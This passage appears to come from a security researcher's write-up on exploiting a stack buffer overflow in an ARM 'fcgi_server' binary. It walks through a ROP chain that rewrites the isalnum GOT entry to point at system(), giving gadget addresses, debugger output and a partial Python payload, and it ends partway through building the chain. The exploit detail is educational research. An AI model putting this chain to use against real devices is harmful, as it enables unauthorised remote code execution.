<p>Let&rsquo;s first discuss the preconditions of exploiting the discovered stack-based buffer overflow. We&rsquo;re dealing with an ARMHF 32 bit binary, dynamically linked and stripped. As shown by <code>checksec</code> the target binary isn&rsquo;t protected by stack canaries, but does have the NX mitigation enabled. It isn&rsquo;t compiled as a position independent executable (PIE) and has partial relocation read-only (RELRO).</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ file fcgi_server
</span></span><span class="line"><span class="cl">fcgi_server: ELF 32-bit LSB executable, ARM, EABI5 version <span class="m">1</span> <span class="o">(</span>SYSV<span class="o">)</span>, dynamically linked, interpreter /lib/ld-linux-armhf.so.3, <span class="k">for</span> GNU/Linux 4.9.0, stripped
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ checksec --file<span class="o">=</span>fcgi_server
</span></span><span class="line"><span class="cl">RELRO           STACK CANARY      NX            PIE
</span></span><span class="line"><span class="cl">Partial RELRO   No canary found   NX enabled    No PIE
</span></span></code></pre></td></tr></table>
</div>
</div><p>What does this mean for us as attackers? Overwriting return addresses on the stack with an overflow is straightforward because of the lack of stack canaries. However, we can&rsquo;t execute shellcode on the stack. Also, the binary will always be placed in the same memory region, because it wasn&rsquo;t compiled as a PIE. Finally, partial RELRO means that the global offset table (GOT) comes before the BSS section in memory, which holds uninitialized global and static variables. This eliminates the risk of a buffer overflow from a global variable overwriting GOT entries<sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup>. Since our overflow is on the stack, this doesn&rsquo;t really matter to us. What does matter though, is that it also means that the GOT is writable. Only full RELRO provides a read-only GOT.</p>
<p>Let&rsquo;s also have a look at the libraries included by the target binary such as the libc. We can see that libc was compiled with PIE, meaning that it can be placed randomly in memory during runtime.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ checksec --file<span class="o">=</span>libc-2.29.so
</span></span><span class="line"><span class="cl">RELRO           STACK CANARY      NX            PIE
</span></span><span class="line"><span class="cl">Partial RELRO   Canary found      NX enabled    DSO
</span></span></code></pre></td></tr></table>
</div>
</div><p>Evidently, when looking at the mitigations in place, it makes sense to consider a Return-oriented programming (ROP) chain to achieve command execution. A ROP chain leverages small code snippets, or gadgets, already present in a program&rsquo;s memory. By linking these gadgets, an attacker constructs an unintended, attacker-controlled execution flow. The effectiveness of a ROP chain depends on the availability of suitable gadgets and the attacker&rsquo;s knowledge of their memory addresses.</p>
<p>In our case we could use gadgets from the target binary (<code>fcgi_server</code>) itself because their addresses are static and therefore known. These gadgets are quite limited though and eventually we would need to call file I/O functions or <code>system()</code> provided by libc to gain command execution. Note that libc was compiled with PIE. I quickly confirmed on the device that address space layout randomization (ASLR) was enabled, so libc was indeed placed at a random address in memory.</p>
<p>I came up with a couple of ideas on how to deal with this:</p>
<ul>
<li>Find a libc address leak through another vulnerability</li>
<li>Find a file read for /proc/self/maps</li>
<li>Leak a libc address through a ROP chain</li>
</ul>
<p>Unfortunately, I couldn&rsquo;t quickly find another vulnerability that would let me leak a libc address. I considered reading <code>/proc/self/maps</code> to locate libc, but that proved unsuccessful. I also looked into using gadgets in the target binary to build a ROP chain to leak a libc address. However, there was no straightforward way to exfiltrate the leaked pointer.</p>
<p>A bigger issue was that any ROP chain would eventually crash the binary, rendering the leak useless because libc would be relocated on the next start of <code>fcgi_server</code>. In a stack-based buffer overflow, it&rsquo;s also impossible to restore the stack to its previous state, as the very information required for restoration is overwritten.</p>
<p>One approach often used in this kind of scenario is to trigger the bug multiple times to prolong the crash: trigger it once to leak an address, then return to the vulnerable function and trigger the overflow again to make use of the leak. However, that approach requires an I/O channel to read the leak and then supply input again. Given the web-stack architecture we discussed and the bug’s location, that wasn&rsquo;t feasible, so I concluded a one-shot exploit was likely the only viable option.</p>
<h3 id="the-plan">The Plan</h3>
<p>There are several known techniques that revolve around the GOT and Procedure Linkage Table (PLT) to bypass ASLR. When a call to an external function such as <code>puts</code> (libc) is made, the immediate call goes to <code>puts@plt</code> which acts as a resolver of the actual address of <code>puts</code> within libc. The resolved address is then stored in the GOT. If a specific function has already been resolved previously it is taken from the GOT by the <code>puts@plt</code> stub<sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup>.</p>
<p>So the information needed to bypass ASLR lives in the GOT. Ideally we&rsquo;d find the address of <code>system</code> there, but the target binary never references <code>system</code>, so it has no GOT/PLT entry. Instead, we could read a GOT entry for another function, compute the offset from that function to our target, and use that to redirect execution to the target. But all of this must be done via a ROP chain built from gadgets available in the binary.</p>
<p>The high level steps would look something like this:</p>
<ul>
<li>Read a GOT entry and store in register x</li>
<li>Increment/decrement register x to reach target function (eg. addition, multiply, etc.)</li>
<li>Jump to x</li>
</ul>
<p>Or another approach:</p>
<ul>
<li>Increment/decrement value pointed to by GOT pointer to reach target function (GOT is writable)</li>
<li>Dereference GOT pointer into register x</li>
<li>Jump to x</li>
</ul>
<p>Still a vast simplification, we would still need to move arguments into the correct registers and so on before jumping to the target function <code>system()</code> but it&rsquo;s a starting point.</p>
<h3 id="finding-the-pieces">Finding the Pieces</h3>
<p>To pursue this idea I first wanted to find a GOT entry that is already populated when triggering the vulnerability. Within the vulnerable base64 decode function there is a call to <code>isalnum</code> which is a libc function. Let&rsquo;s have a look at its PLT and GOT entries.</p>
<p>Using <code>objdump</code> we can see the address of the PLT entry inside <code>fcgi_server</code> of <code>isalnum</code></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">objdump -d fcgi_server<span class="p">|</span> grep <span class="s1">&#39;&lt;isalnum@plt&gt;&#39;</span>
</span></span><span class="line"><span class="cl">000147e8 &lt;isalnum@plt&gt;:
</span></span><span class="line"><span class="cl">   206c8:       ebffd046        bl      147e8 &lt;isalnum@plt&gt;
</span></span><span class="line"><span class="cl">   21010:       ebffcdf4        bl      147e8 &lt;isalnum@plt&gt;
</span></span></code></pre></td></tr></table>
</div>
</div><p>To verify the corresponding GOT entry and actual address at runtime I set a breakpoint at the return statement after the overflow.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl"><span class="o">(</span>remote<span class="o">)</span> gef➤  info address isalnum@got.plt
</span></span><span class="line"><span class="cl">Symbol <span class="s2">&#34;isalnum@got.plt&#34;</span> is at 0x400c8 in a file compiled without debugging.
</span></span><span class="line"><span class="cl"><span class="o">(</span>remote<span class="o">)</span> gef➤  x/wx 0x400c8
</span></span><span class="line"><span class="cl">0x400c8 &lt;isalnum@got.plt&gt;:      0x76ba86f0
</span></span><span class="line"><span class="cl"><span class="o">(</span>remote<span class="o">)</span> gef➤  x/8i 0x76ba86f0
</span></span><span class="line"><span class="cl">   0x76ba86f0 &lt;isalnum&gt;:        ldr     r3, <span class="o">[</span>pc, <span class="c1">#24]   @ 0x76ba8710 &lt;isalnum+32&gt;</span>
</span></span><span class="line"><span class="cl">   0x76ba86f4 &lt;isalnum+4&gt;:      mrc     15, 0, r2, cr13, cr0, <span class="o">{</span>3<span class="o">}</span>
</span></span><span class="line"><span class="cl">   0x76ba86f8 &lt;isalnum+8&gt;:      lsl     r0, r0, <span class="c1">#1</span>
</span></span><span class="line"><span class="cl">   0x76ba86fc &lt;isalnum+12&gt;:     ldr     r3, <span class="o">[</span>pc, r3<span class="o">]</span>
</span></span><span class="line"><span class="cl">   0x76ba8700 &lt;isalnum+16&gt;:     ldr     r3, <span class="o">[</span>r2, r3<span class="o">]</span>
</span></span><span class="line"><span class="cl">   0x76ba8704 &lt;isalnum+20&gt;:     ldrh    r0, <span class="o">[</span>r3, r0<span class="o">]</span>
</span></span><span class="line"><span class="cl">   0x76ba8708 &lt;isalnum+24&gt;:     and     r0, r0, <span class="c1">#8</span>
</span></span><span class="line"><span class="cl">   0x76ba870c &lt;isalnum+28&gt;:     bx      lr
</span></span></code></pre></td></tr></table>
</div>
</div><p>As you can see the GOT entry is at <code>0x400c8</code> which points to the actual address of <code>isalnum</code> at <code>0x76ba86f0</code> within libc.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl"><span class="o">(</span>remote<span class="o">)</span> gef➤  info <span class="k">function</span> system
</span></span><span class="line"><span class="cl">All functions matching regular expression <span class="s2">&#34;system&#34;</span>:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Non-debugging symbols:
</span></span><span class="line"><span class="cl">0x000147c4  std::_V2::system_category<span class="o">()</span>@plt
</span></span><span class="line"><span class="cl"><span class="o">[</span>...<span class="o">]</span>
</span></span><span class="line"><span class="cl">0x76bbb920  __libc_system
</span></span><span class="line"><span class="cl">0x76bbb920  system
</span></span><span class="line"><span class="cl">0x76c83fac  svcerr_systemerr
</span></span></code></pre></td></tr></table>
</div>
</div><p>Let&rsquo;s see how far apart that <code>isalnum</code> (0x76ba86f0) and <code>system</code> (0x76bbb920) are.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="o">&gt;&gt;&gt;</span> <span class="nb">hex</span><span class="p">(</span><span class="mh">0x76bbb920</span> <span class="o">-</span> <span class="mh">0x76ba86f0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="s1">&#39;0x13230&#39;</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>So that means that if we can add 0x13230 to the address at <code>isalnum@got</code> we have the address of <code>system</code>.</p>
<h3 id="gadgets-gadgets-and-more-gadgets">Gadgets, Gadgets and more Gadgets</h3>
<p>Now to the tedious part. The only thing between the high-level plan and RCE was a bunch of gadgets, right? I initially tried tools such as <code>angrop</code><sup id="fnref:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup> to find and automatically chain gadgets, but ARM assembly offers many different, often multi-instruction ways to perform simple operations, e.g. add to a register or move values between registers. Those tools handle obvious, straightforward gadgets well, but they struggle once the gadget sequences become more complex. So in the end I reverted to manually searching and chaining gadgets with <code>Ropper</code><sup id="fnref:9"><a href="#fn:9" class="footnote-ref" role="doc-noteref">9</a></sup>.</p>
<p>If no short, straightforward gadgets are available, you must resort to longer ones. Typically, the longer a gadget is, the more side effects it has, for example, overwriting registers or changing the stack pointer. The challenge is therefore to find gadgets that implement the required primitive while introducing only manageable side effects that later gadgets can correct.</p>
<p>The most crucial gadget in my chain was the one to add two values, preferably fully controllable. This would let me add the calculated offset to the address at <code>isalnum@got</code> to get the address of <code>system</code>. While there were a couple of gadgets to add static values like 0x1 or 0x2 to a register, these didn&rsquo;t seem very useful because either a loop would be required to call them many times or the chain would become too long to reach the desired value. So I tried to find gadgets that added values from two registers such as the following one.</p>
<pre tabindex="0"><code># 0x000228d8: add r6, fp, r6; ldrb sb, [ip, #1]; ldr sl, [ip, #2]; blx r3;
</code></pre><p>Let&rsquo;s break that down:</p>
<ul>
<li><code>add r6, fp, r6</code>: Adds fp (r11) and r6, stores result in r6</li>
<li><code>ldrb sb, [ip, #1]</code>: Dereferences ip (r12) + 1 byte, stores result in sb (r9)</li>
<li><code>ldr sl, [ip, #2]</code>: Dereferences ip (r12) + 2 word, stores result in sl (r10)</li>
<li><code>blx r3</code>: Jumps to r3</li>
</ul>
<p>As you can see here side effects can also mean that certain registers have to contain certain values beforehand. In this case ip (r12) has to contain a valid address that can be dereferenced. If that&rsquo;s not the case, the program will crash.</p>
<p>So we have a gadget that allows us to add fp (r11) and r6. Ideally we want the address of <code>isalnum</code> in r6 and the offset we calculated earlier in fp (r11) giving us the address of <code>system</code> in r6 as an output of the gadget. But how do we get the address of <code>isalnum</code> into r6? The address of <code>isalnum@got</code> is known so we need a gadget to dereference it to obtain the address of <code>isalnum</code> within libc.</p>
<p>To accomplish this, let&rsquo;s have a look at this gadget:</p>
<pre tabindex="0"><code># 0x000190ac: ldr r6, [r3, #0x10]; ldr r3, [r2, #4]; blx r3;
</code></pre><p>Breakdown:</p>
<ul>
<li><code>ldr r6, [r3, #0x10]</code>: Dereferences (r3 + 0x10), stores result in r6</li>
<li><code>ldr r3, [r2, #4]</code>: Dereferences (r2 + 0x4), stores result in r3</li>
<li><code>blx r3;</code>: Jumps to r3</li>
</ul>
<p>Exactly what we need, but as you can tell this gadget needs some specific preparation beforehand. To continue the chain with <code>blx r3</code> we need to make sure <code>*(r2 + 0x4)</code> results in the next gadget of the chain. But that should be doable.</p>
<p>Last but not least we need a gadget to jump to the calculated address. Unfortunately I simply couldn&rsquo;t find one. I also couldn&rsquo;t find ways of moving the address into another register for which call gadgets would exist. So where to go from here? I recalled that the GOT of the target binary is actually writable. So what about writing it back to the GOT? If that works we could just call <code>isalnum@plt</code> which would then load the altered address from the GOT and jump to it.</p>
<p>Let&rsquo;s try, here&rsquo;s another gadget:</p>
<pre tabindex="0"><code># 0x0002a3f8: str r0, [r4, #4]; pop {r4, r5, r6, pc};
</code></pre><p>Breakdown:</p>
<ul>
<li><code>str r0, [r4, #4]</code>: Dereferences (r4 + 0x4) and stores value of r0</li>
<li><code>pop {r4, r5, r6, pc}</code>: Continues the chain</li>
</ul>
<p>This gadget enables us to store a value in r0 at <code>*(r4 + 0x4)</code>. Given that we find gadgets to move our calculated address into r0 and <code>isalnum@got - 0x4</code> into r4 this allows us to write the tampered address back to the GOT.</p>
<p>So if we could make everything line up the plan would be:</p>
<ul>
<li>Dereference <code>isalnum@got</code> entry and store it in r6</li>
<li>Add the calculated offset to <code>system</code> to the register r6</li>
<li>Write the register r6 back to the GOT -&gt; <code>isalnum@got</code></li>
<li>Prepare function arguments for <code>system</code></li>
<li>Call <code>isalnum@plt</code></li>
</ul>
<h3 id="building-the-chain">Building the Chain</h3>
<p>The path wasn&rsquo;t as straightforward as this write-up might imply. I spent quite some time trying to mix and match gadgets and even exchanged the ones discussed above numerous times until I came up with the following chain. Let me walk you through it.</p>
<p>The function epilogue of the vulnerable base64 function conveniently allows us to populate r4 to r11 before jumping to the first gadget. So in this case I added some values to r6, r9 and r11 for later use.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="mi">516</span> <span class="o">*</span> <span class="sa">b</span><span class="s2">&#34;A&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;BBBB&#34;</span> <span class="c1"># r4</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;CCCC&#34;</span> <span class="c1"># r5</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x1cad0</span><span class="p">)</span> <span class="c1"># r6</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;EEEE&#34;</span> <span class="c1"># r7</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;FFFF&#34;</span> <span class="c1"># r8</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x190ac</span><span class="p">)</span> <span class="c1"># r9 (sb)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;HHHH&#34;</span> <span class="c1"># r10 (sl)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x13230</span><span class="p">)</span> <span class="c1"># r11 (fp) -&gt; offset system - isalnum</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>As a first step of the chain, we do some preparations.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 0x00028a08: mov r0, r6; pop {r4, r5, r6, pc};</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x28a08</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;XXXX&#34;</span> <span class="c1"># r4</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;XXXX&#34;</span> <span class="c1"># r5</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;XXXX&#34;</span> <span class="c1"># r6</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 0x0001459c: pop {r3, pc};</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x1459c</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="n">ISALNUM_GOT</span> <span class="o">-</span> <span class="mh">0x10</span><span class="p">)</span> <span class="c1"># r3</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 0x0002a33c: mov r2, sp; str r0, [sp, #4]; mov r0, r3; blx sb;</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x2a33c</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;AAAA&#34;</span> <span class="c1"># &lt;- sp</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>What we do here is basically this:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">r0</span> <span class="o">=</span> <span class="n">r6</span> <span class="o">=</span> <span class="mh">0x1cad0</span>
</span></span><span class="line"><span class="cl"><span class="n">r3</span> <span class="o">=</span> <span class="n">ISALNUM_GOT</span> <span class="o">-</span> <span class="mh">0x10</span>
</span></span><span class="line"><span class="cl"><span class="n">r2</span> <span class="o">=</span> <span class="n">sp</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="p">(</span><span class="n">sp</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">=</span> <span class="n">r0</span> <span class="o">=</span> <span class="mh">0x1cad0</span>
</span></span><span class="line"><span class="cl"><span class="n">r0</span> <span class="o">=</span> <span class="n">r3</span> <span class="o">=</span> <span class="n">ISALNUM_GOT</span> <span class="o">-</span> <span class="mh">0x10</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="p">(</span><span class="mh">0x190ac</span><span class="p">)()</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>Note that we store <code>isalnum@got</code> in r3 so the following gadget can dereference it into r6. As discussed before we have to make sure that r2 contains a stack pointer so the chain can continue with <code>blx r3</code>.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 0x000190ac: ldr r6, [r3, #0x10]; ldr r3, [r2, #4]; blx r3;</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">r6</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">r3</span> <span class="o">+</span> <span class="mh">0x10</span><span class="p">)</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">ISALNUM_GOT</span> <span class="o">-</span> <span class="mh">0x10</span> <span class="o">+</span> <span class="mh">0x10</span><span class="p">)</span> <span class="o">=</span> <span class="o">*</span><span class="n">ISALNUM_GOT</span>
</span></span><span class="line"><span class="cl"><span class="n">r3</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">r2</span> <span class="o">+</span> <span class="mh">0x4</span><span class="p">)</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">sp</span> <span class="o">+</span> <span class="mh">0x4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="p">(</span><span class="n">sp</span> <span class="o">+</span> <span class="mh">0x4</span><span class="p">)()</span> <span class="c1"># -&gt; 0x1cad0</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>As shown above <code>*(sp + 0x4)</code> is overwritten at runtime, so we need to make sure there is some scratch space on the stack so everything adds up properly.</p>
<p>When jumping to the gadget at 0x1cad0 the stack looks like this:</p>
<table>
  <thead>
      <tr>
          <th>Address</th>
          <th>Value</th>
          <th></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>0x1000FFF8</td>
          <td>0x1459c</td>
          <td></td>
      </tr>
      <tr>
          <td>0x1000FFF4</td>
          <td>0x1cad0</td>
          <td></td>
      </tr>
      <tr>
          <td>0x1000FFF0</td>
          <td>AAAA</td>
          <td>&lt;- stack pointer</td>
      </tr>
  </tbody>
</table>
<p>The stack pointer still points at the AAAA value. So we continue with some readjustments of the stack pointer and preparations of the r3 register.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 0x0001cad0: pop {r4, r5, pc};</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;XXXX&#34;</span> <span class="c1"># r5 (scratch space)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 0x0001459c: pop {r3, pc};</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x1459c</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x27d14</span><span class="p">)</span> <span class="c1"># r3</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">r3</span> <span class="o">=</span> <span class="mh">0x27d14</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>Next up is the discussed gadget to add <code>isalnum</code>&rsquo;s address an the calculated offset. The offset was already put into fp (r11) at the very beginning of the chain. Register r6 also contains <code>isalnum</code>&rsquo;s real address read from the GOT by now.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 0x000228d8: add r6, fp, r6; ldrb sb, [ip, #1]; ldr sl, [ip, #2]; blx r3;</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x228d8</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">r6</span> <span class="o">=</span> <span class="n">r6</span> <span class="o">+</span> <span class="n">fp</span> <span class="o">=</span> <span class="o">*</span><span class="n">ISALNUM_GOT</span> <span class="o">+</span> <span class="mh">0x13230</span> <span class="o">=</span> <span class="n">system</span>
</span></span><span class="line"><span class="cl"><span class="n">sb</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">ip</span> <span class="o">+</span> <span class="mh">0x1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">sl</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">ip</span> <span class="o">+</span> <span class="mh">0x2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="p">(</span><span class="mh">0x27d14</span><span class="p">)()</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>The ip register can be disregarded as it won&rsquo;t be used later and conveniently contained an address that points to the stack. Since we&rsquo;re just reading from it, it also doesn&rsquo;t invoke any undesirable side effects.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 0x00027d14: mov r0, r6; add sp, sp, #0x3c; pop {r4, r5, r6, r7, r8, sb, sl, fp, pc};</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="mh">0x3c</span> <span class="o">*</span> <span class="sa">b</span><span class="s2">&#34;P&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="n">ISALNUM_GOT</span> <span class="o">-</span> <span class="mi">4</span><span class="p">)</span> <span class="c1"># r4 -&gt; target - 4</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;XXXX&#34;</span> <span class="c1"># r5</span>
